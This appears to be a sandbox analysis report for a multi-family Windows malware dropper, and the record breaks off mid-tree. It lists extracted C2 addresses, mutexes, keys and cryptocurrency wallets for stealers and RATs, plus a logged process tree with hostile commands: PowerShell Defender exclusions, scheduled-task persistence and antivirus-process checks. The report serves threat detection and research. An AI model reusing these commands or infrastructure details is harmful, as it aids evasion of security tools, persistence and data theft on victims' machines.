Resubmissions
15/09/2026, 11:12
260915-navswatygv1007/09/2026, 00:25
260907-aqql7sttav1004/08/2026, 14:58
260804-sb5rpashpf1004/08/2026, 06:06
260804-gt3t9seb381004/08/2026, 05:43
260804-gey8jaw1bx1024/07/2026, 07:14
260724-h2zy1svbmg1024/07/2026, 07:09
260724-hy9ztatwfy1024/07/2026, 06:50
260724-hmdggahn6v1021/07/2026, 16:13
260721-tpe9macc42321/07/2026, 16:00
260721-tfvb7axvcy10Analysis
- max time kernel
791s - max time network
901s - platform
windows11-21h2_x64 - resource
win11-20241007-uk - resource tags
- submitted
27/11/2024, 19:53
General
- Target 4363463463464363463463463.exe
- Size 10KB
- Sample241127-yl61dsxpcs
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Score
10/10
Malware Config
Extracted
Family
-
lumma
C2
-
https://reinforcenh.shop/api
-
https://stogeneratmns.shop/api
-
https://fragnantbui.shop/api
-
https://drawzhotdog.shop/api
-
https://vozmeatillu.shop/api
-
https://offensivedzvju.shop/api
-
https://ghostreedmnu.shop/api
-
https://gutterydhowi.shop/api
-
https://moutheventushz.shop/api
-
https://respectabosiz.shop/api
-
https://bakedstusteeb.shop/api
-
https://conceszustyb.shop/api
-
https://nightybinybz.shop/api
-
https://standartedby.shop/api
-
https://mutterissuen.shop/api
-
https://worddosofrm.shop/api
-
https://berrylinyj.cyou
Extracted
Family
-
phorphiex
C2
-
http://185.215.113.66/
-
http://91.202.233.141/
Wallets
-
0xCa90599132C4D88907Bd8E046540284aa468a035
-
TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6
-
qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r
-
XryzFMFVpDUvU7famUGf214EXD3xNUSmQf
-
rsXCXBf9SagxV8JfC12d8Bybk84oPdMNN9
-
AULzfBuUAPfCGAXoG5Vq14aP9s6fx3AH4Z
-
LdgchXq1sKbAaAJ1EXAPSRBzLb8jnTZstT
-
MP8GEm8QpYgQYaMo8oM5NQhRBgDGiLZW5Q
-
4AtjkCVKbtEC3UEN77SQHuH9i1XkzNiRi5VCbA2XGsJh46nJSXfGQn4GjLuupCqmC57Lo7LvKmFUyRfhtJSvKvuw3h9ReKK
-
15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC
-
1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK
-
ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp
-
3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc
-
3ESHude8zUHksQg1h6hHmzY79BS36L91Yn
-
DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA
-
t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh
-
stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj
-
bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2
-
bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr
-
bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd
Attributes
-
mutex
753f85d83d
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Extracted
Family
-
asyncrat
Version
-
0.5.8
Botnet
-
Default
C2
-
stuff-data.gl.at.ply.gg:54296
Mutex
-
u81wDUVoFHib
Attributes
-
delay
3
-
install
false
-
install_folder
%AppData%
aes.plain
Extracted
Family
-
asyncrat
Version
-
0.5.7B
Botnet
-
Default
C2
-
3.70.228.168:555
Mutex
-
AsyncMutex_6SI8OkPnk
Attributes
-
delay
3
-
install
false
-
install_folder
%AppData%
aes.plain
Extracted
Family
-
xworm
C2
-
147.185.221.22:46682
-
127.0.0.1:46682
-
memory-julia.gl.at.ply.gg:3595
Attributes
-
Install_directory
%Temp%
-
install_file
svchost.exe
Extracted
Family
-
vidar
Version
-
11.4
Botnet
-
119b6e2263f46f13917bbde173112248
C2
-
https://t.me/asg7rd
-
https://steamcommunity.com/profiles/76561199794498376
Attributes
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6
Extracted
Family
-
xworm
Version
-
5.0
C2
-
0.tcp.eu.ngrok.io:10358
-
6.tcp.eu.ngrok.io:10358
-
4.tcp.eu.ngrok.io:10358
Mutex
-
QvDYkhYsc5WBgCcl
Attributes
-
Install_directory
%AppData%
-
install_file
XClient.exe
aes.plain
Extracted
Family
-
redline
Botnet
-
LiveTraffic
C2
-
95.179.250.45:26212
Extracted
Family
-
quasar
Version
-
1.1.0.0
Botnet
-
User
C2
-
erbaevbann3.ddns.net:4444
Mutex
-
xTSR_MUTEX_tDOmSpZY0vhNMbdmkR
Attributes
-
encryption_key
Uz3u2uI4Ld2N91oq93Eb
-
install_name
systemware.exe
-
log_directory
logs
-
reconnect_delay
3000
-
startup_key
System Ware
-
subdirectory
system
Extracted
Family
-
redline
C2
-
185.215.113.67:21405
Extracted
Family
-
quasar
Version
-
1.4.0.0
Botnet
-
Office
C2
-
82.117.243.110:5173
Mutex
-
yfsS9ida0wX8mgpdJC
Attributes
-
encryption_key
KDNBgA8jiBeGX1rj1dDt
-
install_name
csrss.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
NET framework
-
subdirectory
SubDir
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Asyncrat family
- Detect Vidar Stealer 4 IoCs
- Detect Xworm Payload 8 IoCs
- Detects ZharkBot payload 1 IoCs
ZharkBot is a botnet written C++.
- Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
- Lumma family
- Phorphiex family
- Phorphiex payload 1 IoCs
- Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
- Quasar RAT 10 IoCs
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 6 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 6 IoCs
- Redline family
- Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- Xmrig family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- ZharkBot
ZharkBot is a botnet written C++.
- Zharkbot family
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Async RAT payload 3 IoCs
- XMRig Miner payload 34 IoCs
- Adds policy Run key to start application 2 TTPs 4 IoCs
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 7 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Stops running service(s) 4 TTPs
- Uses browser remote debugging 2 TTPs 13 IoCs
Can be used control the browser and steal sensitive information such as credentials and session cookies.
- Drops startup file 8 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Adds Run key to start application 2 TTPs 7 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 31 IoCs
- Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Power Settings 1 TTPs 10 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Enumerates processes with tasklist 1 TTPs 11 IoCs
- Suspicious use of SetThreadContext 9 IoCs
- UPX packed file 55 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 64 IoCs
- Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 9 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 16 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 15 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- NSIS installer 1 IoCs
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 12 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Kills process with taskkill 8 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Runs ping.exe 1 TTPs 11 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 21 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious behavior: MapViewOfSection 3 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 38 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
- Quasar RAT
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\cccc2.exe"C:\Users\Admin\AppData\Local\Temp\Files\cccc2.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4592 -s 4245⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\2020.exe"C:\Users\Admin\AppData\Local\Temp\Files\2020.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\2020.exe"C:\Users\Admin\AppData\Local\Temp\Files\2020.exe"4⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\_MEI37442\Blsvr.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\_MEI37442\Blsvr.exeC:\Users\Admin\AppData\Local\Temp\_MEI37442\Blsvr.exe6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\RDX123456.exe"C:\Users\Admin\AppData\Local\Temp\Files\RDX123456.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"C:\Users\Admin\AppData\Local\Temp\Files\npp.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\519810010.exeC:\Users\Admin\AppData\Local\Temp\519810010.exe4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Loader.exe"C:\Users\Admin\AppData\Local\Temp\Files\Loader.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\m.exe"C:\Users\Admin\AppData\Local\Temp\Files\m.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cdb.exe"C:\Users\Admin\AppData\Local\Temp\Files\cdb.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\sgx4824p.exe"C:\Users\Admin\AppData\Local\Temp\Files\sgx4824p.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy Za Za.bat & Za.bat4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa opssvc"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 3859025⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "VECOVERAGEGATESOCCURRING" Scottish5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Dirt + ..\Contacts + ..\Syria + ..\Gross + ..\Ministry + ..\Infected + ..\Trout + ..\Reforms + ..\Highlighted + ..\Mas + ..\Rotary + ..\Preston + ..\Remove + ..\Clock + ..\Liquid + ..\Isa + ..\Cape d5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\385902\But.pifBut.pif d5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /create /tn "TradeSwan" /tr "wscript //B 'C:\Users\Admin\AppData\Local\TradeOptimize Solutions\TradeSwan.js'" /sc onlogon /F /RL HIGHEST6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\385902\But.pifC:\Users\Admin\AppData\Local\Temp\385902\But.pif6⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\385902\But.pifC:\Users\Admin\AppData\Local\Temp\385902\But.pif6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\385902\But.pif" & rd /s /q "C:\ProgramData\CGHCGIIDGDAK" & exit7⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 108⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
-
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 155⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AsyncClient.exe"C:\Users\Admin\AppData\Local\Temp\Files\AsyncClient.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svchost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Local\Temp\svchost.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\logon.exe"C:\Users\Admin\AppData\Local\Temp\Files\logon.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ConsoleApp3.exe"C:\Users\Admin\AppData\Local\Temp\Files\ConsoleApp3.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\7cl16anh.exe"C:\Users\Admin\AppData\Local\Temp\Files\7cl16anh.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy Impacts Impacts.bat & Impacts.bat4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa opssvc"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 5786785⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "PEACEFOLKSEXUALISLANDS" Hill5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Webpage + ..\Von + ..\Exotic + ..\Relief + ..\Seo + ..\Serious + ..\Myth y5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\578678\Cooper.pifCooper.pif y5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 55⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\anubis.exe"C:\Users\Admin\AppData\Local\Temp\Files\anubis.exe"3⤵
- Drops startup file
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /Query /TN "anubis"4⤵
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc onlogon /tn "anubis" /tr "C:\Users\Admin\AppData\Local\Temp\Files\anubis.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\hs.exe"C:\Users\Admin\AppData\Local\Temp\Files\hs.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ChromeSetup.exe"C:\Users\Admin\AppData\Local\Temp\Files\ChromeSetup.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SystemTemp\GUMDAAC.tmp\GoogleUpdate.exeC:\Windows\SystemTemp\GUMDAAC.tmp\GoogleUpdate.exe /installsource taggedmi /install "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={DB24EDD3-9920-5D5F-FBBE-8E743F7486C1}&lang=zh-CN&browser=2&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty"4⤵
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4zNTIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4zNTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MUNGM0Y3MDItNDQ3Mi00QkRFLThFOEItRDk3QkZFOTZCMzJEfSIgdXNlcmlkPSJ7ODgzOTVERTQtOEYzNi00RTE3LTk1MTQtRkRFNTE4MEY5NTg1fSIgaW5zdGFsbHNvdXJjZT0idGFnZ2VkbWkiIHJlcXVlc3RpZD0iezhGQUM4MkQ3LTJBNUYtNEUyNS1CRTg5LUZDNDE5QTA5ODJCNX0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iOCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4yMjAwMC40OTMiIHNwPSIiIGFyY2g9Ing2NCIvPjxhcHAgYXBwaWQ9Ins0MzBGRDREMC1CNzI5LTRGNjEtQUEzNC05MTUyNjQ4MTc5OUR9IiB2ZXJzaW9uPSIxLjMuMzYuMzcxIiBuZXh0dmVyc2lvbj0iMS4zLjM2LjM1MiIgbGFuZz0iemgtQ04iIGJyYW5kPSIiIGNsaWVudD0iIiBpaWQ9IntEQjI0RUREMy05OTIwLTVENUYtRkJCRS04RTc0M0Y3NDg2QzF9Ij48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBpbnN0YWxsX3RpbWVfbXM9IjQ2MSIvPjwvYXBwPjwvcmVxdWVzdD45⤵
- Executes dropped EXE
- Loads dropped DLL
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /handoff "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={DB24EDD3-9920-5D5F-FBBE-8E743F7486C1}&lang=zh-CN&browser=2&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty" /installsource taggedmi /sessionid "{1CF3F702-4472-4BDE-8E8B-D97BFE96B32D}"5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\intro.avi.exe"C:\Users\Admin\AppData\Local\Temp\Files\intro.avi.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\intro.avi.exe" /rl HIGHEST /f4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\system\systemware.exe"C:\Users\Admin\AppData\Roaming\system\systemware.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\system\systemware.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wa8cd7rM8p3v.bat" "5⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\chcp.comchcp 650016⤵
-
-
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost6⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\system\systemware.exe"C:\Users\Admin\AppData\Roaming\system\systemware.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\system\systemware.exe" /rl HIGHEST /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\dLuBaVPhe5TW.bat" "7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\chcp.comchcp 650018⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost8⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\system\systemware.exe"C:\Users\Admin\AppData\Roaming\system\systemware.exe"8⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\system\systemware.exe" /rl HIGHEST /f9⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2aDmiAt9JFCG.bat" "9⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500110⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost10⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\system\systemware.exe"C:\Users\Admin\AppData\Roaming\system\systemware.exe"10⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "System Ware" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\system\systemware.exe" /rl HIGHEST /f11⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\r0RvzuuPr3Xo.bat" "11⤵
-
C:\Windows\SysWOW64\chcp.comchcp 6500112⤵
-
-
C:\Windows\SysWOW64\PING.EXEping -n 10 localhost12⤵
